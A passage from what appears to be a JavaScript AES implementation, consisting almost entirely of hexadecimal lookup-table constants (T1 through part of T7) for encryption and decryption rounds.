0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a];\nconst T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616];\nconst T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16];\nconst T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c];\n// Transformations for decryption\nconst T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742];\nconst T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857];\nconst T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 